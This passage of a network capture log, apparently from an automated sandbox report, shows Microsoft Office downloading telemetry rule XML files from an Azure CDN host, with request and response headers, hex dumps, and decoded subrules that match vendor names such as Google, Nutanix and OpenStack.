Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:25 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 77e83d57-401e-0016-5857-3c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211026Z-15b8b599d88wk8w4hC1TEB14b800000000e00000000036m0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:25 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211026Z-1777c6cb754gvvgfhC1TEBz4rg0000000bqg00000000exug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:25 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:26 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2b57feed-101e-0028-5221-3c8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211026Z-178bfbc474bv7whqhC1NYC1fg4000000022g000000006u47 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:26 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:26 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:26 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: bdf96f18-c01e-0066-808c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211026Z-178bfbc474bfw4gbhC1NYCunf40000000230000000005fvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:26 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:27 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211028Z-178bfbc474bpscmfhC1NYCfc2c00000000hg00000000aqzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:28 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:28 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 138215a1-101e-0017-6465-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211028Z-178bfbc474bp8mkvhC1NYCzqnn00000001y0000000003ggz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:28 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 906eedcd-201e-0071-4861-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211028Z-178bfbc474bxkclvhC1NYC69g40000000200000000009227 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:28 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:28 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: ba3f3383-a01e-000d-6e55-3cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211028Z-15b8b599d88f9wfchC1TEBm2kc00000000q0000000004bat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:28 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:28 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:29 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: c2563176-701e-001e-70d5-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211028Z-178bfbc474btrnf9hC1NYCb80g000000022000000001024f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:30 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:30 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211030Z-178bfbc474b9xljthC1NYCtw9400000001tg000000012htx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:30 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:30 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:30 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211030Z-178bfbc474bw8bwphC1NYC38b400000001x0000000007tfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:30 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:30 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:30 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 43d09947-101e-005a-2421-3c882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211030Z-178bfbc474bnwsh4hC1NYC2ubs0000000250000000005x0b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
